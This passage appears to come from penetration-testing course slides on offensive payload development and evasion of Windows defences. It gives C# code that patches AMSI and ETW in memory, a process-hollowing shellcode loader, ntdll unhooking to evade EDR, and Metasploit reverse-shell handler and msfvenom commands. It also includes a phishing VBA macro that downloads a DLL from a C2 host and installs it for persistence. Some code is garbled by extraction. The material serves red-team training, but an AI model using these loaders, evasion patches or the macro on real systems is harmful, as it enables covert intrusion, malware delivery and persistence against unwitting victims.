return System.Text.ASCIIEncoding.ASCII.GetString(System.Convert.FromBase64String(b64encoded));
}
public static void PatchAll()
{
PatchETW();
PatchASB();
}
public static void PatchETW()
{
if (IntPtr.Size == 8)
{
// 64 bits process
Console.WriteLine("[>] 64-bits Process");
PatchMem(etwx64, "nt" + "dll" + "." + "dll", "RtlInitializeResource", 0x1ed60); // 0x1ed60 to EtwEventWrite
}
else
{
// 32 bits process
PatchMem(etwx86, "nt" + "dll" + "." + "dll", "RtlInitializeResource", 0x590); // 0x590 to EtwEventWrite
}
}

public static void PatchASB()
{
string dll = decode("YW1zaS5kbGw=");
if (IntPtr.Size == 8)
{
// 64 bits process
PatchMem(amsix64, dll, "DllGetClassObject", 0xcb0); // 0xcb0 to AmsiScanBuffer
}
else
{
// 32 bits process
PatchMem(amsix86, dll, "DllGetClassObject", 0x970); // 0x970 to AmsiScanBuffer
}
}
private static void PatchMem(byte[] patch, string library, string function, Int64 offset = 0)
{
try
{
uint newProtect;
uint oldProtect;
// Get library address
IntPtr libPtr = Win32.LoadLibrary(library);
Console.WriteLine("[>] {0}: 0x{1}", library, libPtr.ToString("X"));

// Get function address
IntPtr functionPtr = Win32.GetProcAddress(libPtr, function);
// Jump to the real function address if offset is used
if (offset != 0)
{
functionPtr = new IntPtr(functionPtr.ToInt64() + offset);
Console.WriteLine("[>] {0} + 0x{1} address: 0x{2}", function, offset.ToString("X"), functionPtr.ToString("X"));
}
else { Console.WriteLine("[>] {0} address: 0x{1}", function, functionPtr.ToString("X")); }
// Change memory permissions to PAGE_EXECUTE_READWRITE
Win32.VirtualProtect(functionPtr, (UIntPtr)patch.Length, 0x40, out oldProtect);
// Patch function
Marshal.Copy(patch, 0, functionPtr, patch.Length);
// Restore memory permissions
Win32.VirtualProtect(functionPtr, (UIntPtr)patch.Length, oldProtect, out newProtect);
Win32.FreeLibrary(libPtr);
Console.WriteLine("[+] Patch Done");
}
catch (Exception e)
{
Console.WriteLine(" [!] {0}", e.Message);
Console.WriteLine(" [!] {0}", e.InnerException);
}
}
}


{
public static void Hollow(string targetBinaryPath, byte[] shellcode)
{
// Local variables
Int32 size = shellcode.Length;
Win32.StartupInfo sInfo = new Win32.StartupInfo();
sInfo.dwFlags = 0;
Win32.ProcessInformation pInfo;
// Create the process with CREATE_SUSPENDED flag
IntPtr funcAddr = Win32.CreateProcessA(targetBinaryPath, null, null, null, true,
Win32.CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
IntPtr hProcess = pInfo.hProcess;
// Allocate memory for the shellcode
IntPtr spaceAddr = Win32.VirtualAllocEx(hProcess, new IntPtr(0), size, Win32.MEM_COMMIT,
// Write shellcode into allocated memory
bool bWrite = Win32.WriteProcessMemory(hProcess, spaceAddr, shellcode, (IntPtr)size, 0);
uint oldProtect;
Win32.VirtualProtectEx(hProcess, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out oldProtect);
Console.WriteLine("[>] Executing Shellcode in {0} with PID {1}", targetBinaryPath, pInfo.dwProcessId);
Win32.CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
}


{
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60 .0.3112.113
Safari/537.36");
return shellcode;
}
public static void Main()
{
EVASION.PatchAll();
Console.ReadKey();
//var handle = Win32.GetConsoleWindow();
//Win32.ShowWindow(handle, Win32.SW_HIDE);
byte[] sc = new byte[<SHELLCODE_SIZE>] { <SHELLCODE> };
Console.WriteLine("[<] {0} Bytes Downloaded!", sc.Length);

sc = Encrypt.AES_Decrypt(sc, password);
Console.WriteLine("[+] Decrypted shellcode size: {0}", sc.Length);
// Target Binary
string targetBinaryPath = @"C:\\Windows\\System32\\userinit.exe";
// Process Hollowing
Hollow(targetBinaryPath, sc);
Console.ReadKey();
}
}

Obfuscating .NET Assemblies

Preemptive Dotfuscator can be installed as an individual
component in Visual Studio. This tool helps to obfuscate
.NET assemblies to avoid being detected by basic AV
signatures.
https://www.preemptive.com/products/dotfuscator/overview PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.263

To obfuscate a .NET
assembly, open Visual Studio
and click on Tools >
PreEmptive Protection –
Dotfuscator.

Head to input and add the .NET assemblies you want to

obfuscate.
Once it finishes a new obfuscated version of the .NET assembly will be

available under the Dotfuscated subfolder that has been created in the
same path the original assembly is located.
Two mandatory resources to advance your custom payload

development capabilities are:
• Emulating Covert Operations –Dynamic Invocation
(Avoiding Pinvoke & API Hooks)
• Operational Challenges in Offensive C#
https://thewover.github.io/Dynamic-Invoke/
https://cobbr.io/SharpGen.html PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.267
1.12
Removing User-
Mode Hooks

1.12 Removing User-Mode Hooks
API Unhooking
Removing user-mode hooks can be done by mimicking the
Windows loader to load a replica of each DLLs and EXEs
from the hard drive and comparing them to the image
currently present in memory to see if functions have been
modified.

By comparing byte-exact replica to the original images, when

changes are detected, the code will restore the section present in
memory with the section loaded from disk. As a result, all hooks
installed will be removed.
Cylance's ReflectiveDLLRefresher can be used to unhook

processes in different ways. For using it we need to clone using
git and compile using Visual Studio the following repository:
• https://github.com/CylanceVulnResearch/ReflectiveDLLRefre
sher.git
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher
https://git-scm.com/downloads PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.270
Clone the repository using git via:
PS > git clone

https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher.git

Open
ReflectiveDLLRefresher.sln
and if needed, right click
into the solution and press
over "retarget solution" to
upgrade it to the installed
Visual C++ platform toolset.

Change from Debug to Release and click into Build menu

and Build Solution. Alternatively Ctrl+Shift+B can be used.

Under the x64/Release

subfolder we should have
now three files that will be
used later:
• DLLRefresher.x64.exe
• Inject.x64.exe
• ReflectiveDLLRefresher.
x64.exe
Repeat the process changing the architecture to x86 to

have both versions compiled.
A precompiled version can also be obtained from the Releases section.

Although it is recommended to always compile your own tradecraft, we
will use the modified UPX version from the releases to simplify the
process.
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher/releases PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.276
DLLRefresher
DllRefresher is a standalone binary that can be used for scanning the
process's memory space and unhooking the currently loaded libraries.
Inject
Inject will reflectively load the ReflectiveDLLRefresher.dll into a
specified process. Loading the DLL will scan the process
memory space and unhook the currently loaded libraries.
PS > inject.x64.exe <PID> <DLL_PATH>

UPX
A modified UPX version has been included in ReflectiveDLLRefresher
package. This UPX version has the ability to embed a dll into the packet
binary. The resulted packed binary will unpack the target executable in
memory and call the embedded DLL before going to the original
executable entry point. This can be used in conjunction with the
ReflectiveDLLRefresher DLL and our payloads to unhook them.
PS > upx.exe –o <OUTPUT_FILE> -X <DLL_PATH> <EXECUTABLE>
https://github.com/CylanceVulnResearch/upx/tree/reflective_dll PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.279

Metasploit-loader can be used in conjunction to the

ReflectiveDLLRefresher to achieve an unhooked meterpreter
session.
https://github.com/rsmudge/metasploit-loader PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.280
ReflectiveDLLRefresher.dll can
also be used with Metasploit
Reflective dLL Injection module
to unhook remote processes by
just specifying the target's
process ID,
ReflectiveDLLRefresher path and
the session where we want to
run the module.
https://www.rapid7.com/db/modules/post/windows/manage/reflective_dll_inject PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.281

ReflectiveDLLRefresher to shellcode
Shellcode Reflective DLL Injection allows to convert DLL
files to position independent shellcode.
With this shellcode we can unhook local or remote

processes before injecting the final payload.
https://github.com/monoxgas/sRDI PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.282

To use the ReflectiveDLLRefresher with some of our previous
examples we need to convert the DLL to position independent
shellcode and encrypt the shellcode as we have done before.
# Clone the sRDI repository

~ git clone https://github.com/monoxgas/sRDI.git
# Convert the DLL to Position Independent Shellcode
sRDI/Python~ python3 ConvertToShellcode.py <PATH_TO_DLL>
# Encrypt the shellcode
~ mono 2_aes_encryption.exe <PATH_TO_SHELLCODE>

Now we need to implement a shellcode loader performing

the following operations:
• Decrypt and execute the ReflectiveDLLRefresher position
independent shellcode.
• Decrypt and execute the meterpreter payload
This can be done repurposing one of the previous payload

development examples.
Create a new Console App (.NET Framework) project in

Visual Studio.
Give it a name and make

sure you target .NET
Framework 3.5.
This should be the

preferred option for all
the payloads if .NET 3.5
is present on the target's
environment.
Create a new public class Win32
containing the Windows API
functions needed.
These will be:

• VirtualAlloc
• VirtualProtect
• CreateThread
• WaitForSingleObject
• GetConsoleWindow
• ShowWindow

Add a public class, Encrypt containing the AES_Decrypt

function needed to decrypt the shellcodes.

Create the Program class

where the first function will be
UnHook.
This function will contain the

encrypted DLL shellcode in a
byte array (L-70), the shellcode
will be decrypted in the
function (L71-72) and then
injected and executed into the
current process's memory
(L73-85).
The next function, RunShellcode will accept a byte array

containing the decrypted shellcode, inject it into the current
process's memory, execute it and wait for it to complete
before exiting.
The main function will call the UnHook function, this will
remove any hook included in the process, then it will
decrypt and run the provided shellcode.
Select Release, Any CPU and build the solution by clicking

in Build Menu>Build Solution.

Once executed in the target's computer, it will unhook the

current process and inject a meterpreter shellcode in
memory.

Code:
using System;
using System.IO;
using System.Net;
using System.Text;
public class Win32

{
// https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
public static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size,
// https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
public static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize,
UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

// https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
lpflOldProtect);
// Variables
}

{
{
{
{
AES.KeySize = 256;
{
cs.Close();
}
}
}
}
}


{
public static void UnHook()
{
// decrypt shellcode
byte[] shellcode = new byte[<SHELLCODE_SIZE>] { <DLL_SHELLCODE> };
uint oldProtect;
}

public static void RunShellcode(byte[] shellcode)

{
uint oldProtect;
// Wait for the thread to finish
Win32.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}

public static void Main()

{
// Hide Window
IntPtr hWindow = Win32.GetConsoleWindow();
Win32.ShowWindow(hWindow, Win32.SW_HIDE);
// Unhook Process
Console.WriteLine("[+] Unhooking process");
UnHook();
byte[] shellcode = new byte[<SHELLCODE_SIZE>] { <SHELLCODE> };
Console.WriteLine("[!] Executing shellcode!");
RunShellcode(shellcode);
}
}

Unhooking ntdll.dll
Ntdll.dll loaded in memory can be totally unhooked by
reading the .text section of the file from disk and replacing
the .text section of the ntdll.dll currently mapped in
memory.
This technique is helpful against EDR solutions that rely on

userland API hooking.
Open Visual Studio and create a new C++ Console APP

project.
Create a new void function called unhook.
This function will:

1. Map an ntdll.dll copy from disk to the
process memory
2. Find the virtual address of the .text
section from the hooked ntdll.dll
3. Find the virtual address of the
mapped ntdll.dll from the hard drive
4. Change the memory protections of
the hooked module's .text version
5. Restore the .text version from the
ntdll.dll mapped from the hard drive.
6. Restore memory protections to the
unhooked .text section

Create a new void function called

executeshellcode.
This function will:

1. Hold the shellcode into an array.
2. Allocate memory for the
shellcode with
PAGE_READWRITE permissions
3. Copy the shellcode to the
allocated memory
4. Change memory permissions to
PAGE_EXECUTE_READ.
5. Execute the shellcode.

The main function will wait for enter to call the unhook
function and once the ntdll.dll has been unhooked, pressing
enter again will execute the shellcode.

Change the solution configuration to release and build via

Ctrl + Shift + B or via Build>Build Solution.
Once executed we can observe CreateFile, CreateFileMapping and Load Image

operations performed to restore any hooks before running the shellcode.
Note: Remember to encrypt the shellcodes to avoid been detected by AV signatures.

Code:
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
void unhook()
{
// Unhook ntdll.dll
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));

LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;

PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {

PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader)
+ ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader-
>VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
(LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader-
>Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
}

void executeshellcode()
{
unsigned char buf[] = <SHELLCODE>;
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, buf, sizeof buf);
DWORD oldProtect;
VirtualProtect((LPVOID)exec, sizeof buf, PAGE_EXECUTE_READ, &oldProtect);
((void(*)())exec)();
}
int main()
{
std::cout << "[+] Press enter to unhook";
std::cin.get();
unhook();
std::cout << "[+] Press enter to execute shellcode";
std::cin.get();
executeshellcode();
return 0;
}

Mestasploit AutoUnhookProcess
Metasploit has an AutoUnhookProcess extension that can be
used to unhook meterpreter sessions once they connect back to
the operator's machine. Load this extension via the following.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp_rc4
msf5 exploit(multi/handler) > set LHOST=<HOST>
msf5 exploit(multi/handler) > set LPORT=<PORT>
msf5 exploit(multi/handler) > set RC4PASSWORD <PASS>
msf5 exploit(multi/handler) > set AutoUnhookProcess true
msf5 exploit(multi/handler) > set ExitOnSession false
msf5 exploit(multi/handler) >run –j

Remember to generate your

payloads according to the
configuration used. In this case:
~ msfvenom –p windows/x64/meterpreter/reverse_tcp_rc4
RC4PASSWORD=wootwoot LHOST=<HOST> LPORT=<PORT> -f <FORMAT> -o
<OUTPUT_FILE>

1.13
Stealth Macro
Development

1.13 Stealth Macro Development
In order to avoid behavior analysis detaching the execution

from Office and sandboxes.
We can develop a macro that checks the user email to see

if the email matching our phishing campaign is in the inbox
and only in this case will achieve persistence.
This will be done without calling Windows API Functions.

The macro will do the following:

1. Check if outlook is running or
try to open it
2. Read email subjects
3. If the trigger word is present
download the payload and
achieve persistence.

For this purpose The Outlook Object Class will be used.
It includes several functions for accessing Outlook

properties and functions that can be leveraged for our
purpose.
https://docs.microsoft.com/en-us/office/vba/api/outlook.olobjectclass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.315

However, we need to be aware of Object Model Guard that

warns users and prompts for confirmation when untrusted
applications attempt to use protected methods or
properties.
https://docs.microsoft.com/en-us/office/vba/outlook/how-to/security/security-behavior-of-
the-outlook-object-model PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.316
There is no mention for Attachments or Subject properties,

meaning that we can check if certain words exists in the subject
of an email without Object Model Guard warning the user and
asking for confirmation.
The first step is to create the GetInbox function. This function will
try to use an existing Outlook instance or create a new one in
case it is closed. Then it will return the Inbox folder as an object.
The next function will be CheckMail. This function will accept a

TriggerWord as a string and will return True or False depending
whether this word is present in any email subject or not.
Our next function will be InstallPersistence. This function will accept a

string containing a remote file, in this case a DLL used to achieve
persistence using Word Library Add-ins. This function will download the
file and save it with the name WordPersistence.wll.
Then the Main function will

be added.
This will have the dll

hardcoded and the trigger
word.
It will call CheckMail

function with the trigger
word and if this one is
present it will call the
InstallPersistence
function.
Once the Macro is executed, it will reach our C2 and download

the dll if the trigger word is present. The next time the target
opens Microsoft Word, our payload will be executed.
Code:
Private Function GetInbox() As Object

' Define vars
Dim OutlookApp, OutlookSpace, OutlookFolder As Object
OutlookClass = "Outlook.Application"
On Error Resume Next ' Don't crash if something goes wrong
Set OutlookApp = GetObject(, OutlookClass) 'Attach to existing Outlook if running
If Err.Number <> 0 Then ' Outlook Not running?
Err.Clear ' Clear Errors
Set OutlookApp = CreateObject(OutlookClass) ' Try to open Outlook
If Err.Number <> 0 Then ' No Outlook! Abort!
Err.Clear
Set GetInbox = Nothing
Exit Function
End If
End If
On Error GoTo 0 ' Disable error trap
Set OutlookSpace = OutlookApp.GetNamespace("MAPI")
Set OutlookFolder = OutlookSpace.GetDefaultFolder(6) 'Default inbox folder is number 6
Set GetInbox = OutlookFolder ' Return the OutlookFolder Object
End Function

Private Function CheckMail(TriggerWord As String) As Boolean

Dim Inbox As Object
Set Inbox = GetInbox
If Inbox Is Nothing Then
CheckMail = False
Exit Function
End If
For Each FolderItem In Inbox.Items
If FolderItem.Class = 43 Then ' Its an olMail
SubjetWords = Split(FolderItem.Subject, " ") ' Subject is not protected by Object Model Guard
For Each SubjectWord In SubjetWords
If SubjectWord = TriggerWord Then
CheckMail = True
Exit Function
End If
Next
End If
Next
CheckMail = False
End Function

Private Function InstallPersistence(RemoteFile As String)

Dim PathOfFile As String
Dim HTTPReq As Object
PathOfFile = Environ("AppData") & "\Microsoft\Word\STARTUP\WordPersistence.wll"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", RemoteFile, False
HTTPReq.Send
If HTTPReq.Status = 200 Then
Set Output = CreateObject("ADODB.Stream")
Output.Open
Output.Type = 1 ' Binary Data
Output.Write HTTPReq.ResponseBody
Output.SaveToFile PathOfFile, 2 ' Create or overwrite
Output.Close
End If
End Function

Sub Main()
Dim MailOk As Boolean
Dim RemoteFile, TriggerWord As String
RemoteFile = "http://192.168.10.10/test"
TriggerWord = "account?"
MailOk = CheckMail(TriggerWord)
If MailOk Then
InstallPersistence (RemoteFile)
End If
End Sub
Sub Auto_Open()
Main
End Sub
Sub AutoOpen()
Main
End Sub

References

References
Here’s a list of all references linked or used in this course.
AMSI_ATTRIBUTE
https://docs.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_attribute
IAmsiStream::GetAttribute
https://docs.microsoft.com/windows/desktop/api/amsi/nf-amsi-iamsistream-getattribute
AMSI_RESULT
https://docs.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result
AmsiInitialize
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiinitialize
AmsiOpenSession
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession
Click HERE to return to Slide 10. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.328
Click HERE to return to Slide 11.
References
AmsiOpenSession
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession
AmsiCloseSession
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiclosesession
AmsiScanBuffer
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
AmsiScanString
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring
AmsiResultIsMalware
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiresultismalware
AmsiUninitalize
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiuninitialize
References
Amsi-Bypass
https://www.contextis.com/en/blog/amsi-bypass
Ghidra
https://ghidra-sre.org/
LoadLibrary
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
GetProcAddress
https://docs.microsoft.com/en-gb/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
VirtualProtect
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
Add-Type
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-
type?view=powershell-7
References
ASBBypass.ps1
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1
Address Space Layout Randomization (ASLR)

https://en.wikipedia.org/wiki/Address_space_layout_randomization
DLL Export Viewer

https://www.nirsoft.net/utils/dll_export_viewer.html
TxtWizard
http://www.txtwizard.net/encoding
Safely Searching Process Virtual Address Space

http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
AMSI Bypass
https://www.contextis.com/en/blog/amsi-bypass

References
Assembly.Load(Byte[])
https://docs.microsoft.com/en-
us/dotnet/api/system.reflection.assembly.load#System_Reflection_Assembly_Load_System_Byte___
AmsiScanBufferBypass
https://github.com/rasta-mouse/AmsiScanBufferBypass
BooLang
https://github.com/boo-lang/boo
Platform Invoke (P/Invoke)

https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke
Boo as an embedded scripting language

https://github.com/boo-lang/boo/wiki/Boo-as-an-embedded-scripting-language
Invoke-Boolang.ps1
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/Invoke-Boolang.ps1

References
boo
https://github.com/boo-lang/boo/tree/master/bin
Duck Typing
https://github.com/boo-lang/boo/wiki/Duck-Typing
RunBooAssemblyResolve.cs
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/runBooAssemblyResolve.cs
Part 1 - ETW Introduction and Overview

https://blogs.msdn.microsoft.com/ntdebugging/2009/08/27/part-1-etw-introduction-and-overview/
Configuring and Starting an AutoLogger Session

https://docs.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session
EtwEventWrite
https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite

References
Development and Testing Tools - Fltmc.exe
https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/development-and-testing-tools
sshmon
https://github.com/matterpreter/Shhmon
Microsoft Defender Advanced Threat Protection

https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-
atp/microsoft-defender-advanced-threat-protection
What is Advanced Threat Analytics?

https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
Using WMI
https://docs.microsoft.com/en-us/windows/win32/wmisdk/using-wmi
wmic
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic

References
PowerView
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
PywerView
https://github.com/the-useless-one/pywerview
BloodHound
https://github.com/BloodHoundAD/BloodHound
Dumpert
https://github.com/outflanknl/Dumpert
C# documentation
https://docs.microsoft.com/en-us/dotnet/csharp/
Visual Studio Downloads

https://visualstudio.microsoft.com/downloads/

References
Mono C# Compiler
https://www.mono-project.com/docs/about-mono/languages/csharp/
WebClient Class
https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=netframework-4.8
VirtualAlloc
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
VirtualProtect
CreateThread
createthread
WaitForSingleObject
https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject

References
Pinvoke.net
https://www.pinvoke.net/
CreateRemoteThread
createremotethread
OpenProcess
openprocess
VirtualAllocEx
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
WriteProcessMemory
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
VirtualProtectEx
Click on the slide number to return to: 173, 189, 209 or 210. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.337
References
RunPE.cpp – Process Hollowing Example
https://gist.github.com/andreafortuna/d7fb92fb29e4ade27c0c6ce4401c99fa
CreateProcessA
createprocessa
Process Creation Flags

https://docs.microsoft.com/en-gb/windows/win32/procthread/process-creation-flags
CreateProcess
createprocessa
InitializeProcThreadAttributeList
initializeprocthreadattributelist
UpdateProcThreadAttribute
updateprocthreadattribute
References
STARTUPINFOEXA structure
https://docs.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexa
STARTUPINFOA structure
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
startupinfoa
PROCESS_INFORMATION
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
process_information
SECURITY_ATTRIBUTES
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
Process Security and Access Rights

https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
donut releases
https://github.com/TheWover/donut/releases
References
donut
https://github.com/TheWover/donut/tree/master
GetProcAddress
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
LoadLibraryA function
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
FreeLibrary
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary
Preemptive Dotfuscator
https://www.preemptive.com/products/dotfuscator/overview
Emulating Covert Operations –Dynamic Invocation (Avoiding Pinvoke & API Hooks)
https://thewover.github.io/Dynamic-Invoke/
References
Operational Challenges in Offensive C#
https://cobbr.io/SharpGen.html
Cylance's ReflectiveDLLRefresher
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher
git downloads
https://git-scm.com/downloads
ReflectiveDLLRefresher
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher.git
ReflectiveDLLRefresher Releases
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher/releases
UPX - the Ultimate Packer for eXecutables

https://github.com/CylanceVulnResearch/upx/tree/reflective_dll

References
Metasploit-loader
https://github.com/rsmudge/metasploit-loader
Windows Manage Reflective DLL Injection Module

https://www.rapid7.com/db/modules/post/windows/manage/reflective_dll_inject
Shellcode Reflective DLL Injection (sRDI)

https://github.com/monoxgas/sRDI
OlObjectClass enumeration (Outlook)

https://docs.microsoft.com/en-us/office/vba/api/outlook.olobjectclass
Security Behavior of the Outlook Object Model

https://docs.microsoft.com/en-us/office/vba/outlook/how-to/security/security-behavior-of-the-outlook-
object-model
Anti Malware Scan Interface (AMSI)
